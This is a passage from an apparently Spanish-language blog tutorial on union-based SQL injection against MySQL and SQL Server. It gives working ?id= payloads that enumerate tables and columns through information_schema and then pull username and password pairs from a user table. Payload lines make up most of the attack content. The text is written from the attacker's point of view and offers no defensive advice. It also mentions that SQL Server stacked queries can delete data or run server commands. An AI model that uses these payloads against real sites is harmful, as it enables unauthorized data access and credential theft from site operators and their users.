SELECT table_name FROM information_schema.tables WHERE table_schema='test'

traducido a:

?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit 0,1 -- 1
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit 1,1 -- 1
...
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit n,1 -- 1

Si desean conocer la cantidad de tablas antes de realizar las consultas anteriores, pueden hacerlo con la siguiente consulta:

SELECT count(table_name) FROM information_schema.tables WHERE table_schema='test'

es decir:

?id=-1' union all select '1',count(table_name),'3' from information_schema.tables where table_schema='test

En SQL Server se puede hacer algo muy similar, solamente cambiando algunas partes de la consulta. Por un lado el nombre de las tablas se encuentran en la vista llamada INFORMATION_SCHEMA. Esto se debe a que la base de datos information_schema es un estandar ISO y por ello SQL Server la incluye como vista. Desde nuestro punto de vista da lo mismo si es una vista o una base de datos porque gracias al estándar se acceden de igual forma. Esto es, las consultas anteriores valdrán también para SQL Server. La única diferencia es que existe una vista INFORMATION_SCHEMA por cada base de datos, con lo cual, no necesitamos conocer el nombre de la base de datos porque los resultados retornados serán solamente tablas de la base de datos actual.
Algo que sí debemos cambiar en las consultas anteriores es el uso de limit. Este operador presente en MySQL, no existe en SQL Server y es necesario construir consultas bastante más complicadas... parece increíble que no tengan una función similar a limit...
La siguiente consulta la armé a partir del artículo Sql server con consultas Limit de mySQL y permite simular la función de limit:

SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY table_name) AS row FROM information_schema.tables) AS temp where row>0 and row<=1;

básicamente, la consulta genera una nueva columna con el número de la posición de la fila y luego filtra resultados en base a ese número. Como ven, es bastante más sucio que hacer un lindo limit... gracias MS por hacer nuestras vidas miserables...
La consulta anterior se traduciría a lo siguiente:

?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>0 and row<=1 --
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>n-1 and row<=n --

Nombres de columnas

Una vez que tenemos los nombres de las tablas que nos interesan, conseguir los nombres de las columnas es un proceso muy similar. La consulta es casi igual, con la salvedad que ahora buscamos el campo column_name de la tabla columns de la base de datos information_schema. Suponiendo que buscamos los campos de la tabla t_user, la consulta sería como la siguiente:

SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='t_user'

que en inyección MySQL se traduce a:

?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit 0,1 -- 1
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit 1,1 -- 1
...
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit n,1 -- 1

y en el caso de SQL Server, se traduce a:

?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>0 and row<=1 --
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>n-1 and row<=n --

Todo listo, a cocinar!

Ahora que ya contamos con los nombres de los campos y de las tablas que queremos, ya podemos obtener cualquier información que deseemos. En este caso de ejemplo resultan interesante los datos de usuario y password, por lo cual armaré las consultas teniendo este objetivo. Como podemos obtener de a dos datos a la vez, viene justo para sacar cada par usuario/password de a una consulta.
Una vez más, veamos cómo es la consulta real y cómo se traduce a la inyección:

SELECT username,pass FROM t_user

en MySQL:

?id=-1' union all select '1',username,pass from t_user limit 0,1 -- 1
?id=-1' union all select '1',username,pass from t_user limit 1,1 -- 1
...
?id=-1' union all select '1',username,pass from t_user limit n,1 -- 1

en SQL Server:

?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>0 and row<=1 --
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>n-1 and row<=n --

De la misma forma se puede obtener cualquier registro de cualquier tabla. Ya tenemos el poder! =)


Reflexión final

Como siempre digo en el trabajo, lo difícil no es el ataque, sino encontrar dónde atacar. SQL Injection no es la excepción, y muestra que la parte difícil está en encontrar una variable inyectable, una vez que tenemos esto, es cuestión de utilizar la técnica que mejor se adapte para obtener los datos.
Existen algunos trucos para bypassear algunos controles de programación, que podrían dificultar la tarea. En otro artículo mostraré algunas de las técnicas más utilizadas para evitar estos controles.
Las consultas que mostré en el artículo se pueden optimizar de un par de formas, iba a ponerlas en este artículo pero ya quedó demasiado extenso, así que queda para el próximo. Ya tengo escrita un buen pedazo de esa parte, así que no debería tomarme más de unos días terminarlo.
Por último, como pudieron observar en este artículo, SQL Server permite más facilidades de inyección que MySQL. Su forma tan verbosa de mostrar errores ayuda mucho al atacante, y además provee otros mecanismos que disminuyen el trabajo. Además, algo que no mostré en este artículo es que en SQL Server es posible inyectar inserciones, borrar registros, tablas, ejecutar comandos en el servidor, entre otras cosas, porque permite concatenar acciones en una sola consulta del programa. MySQL no permite esto y por ello lo que se puede lograr es bastante más limitado, a menos que se utilicen técnicas más agresivas.
En fin, espero que luego de leer esto tengan bastante idea de lo que se puede lograr con SQLi y lo simple que es lograrlo.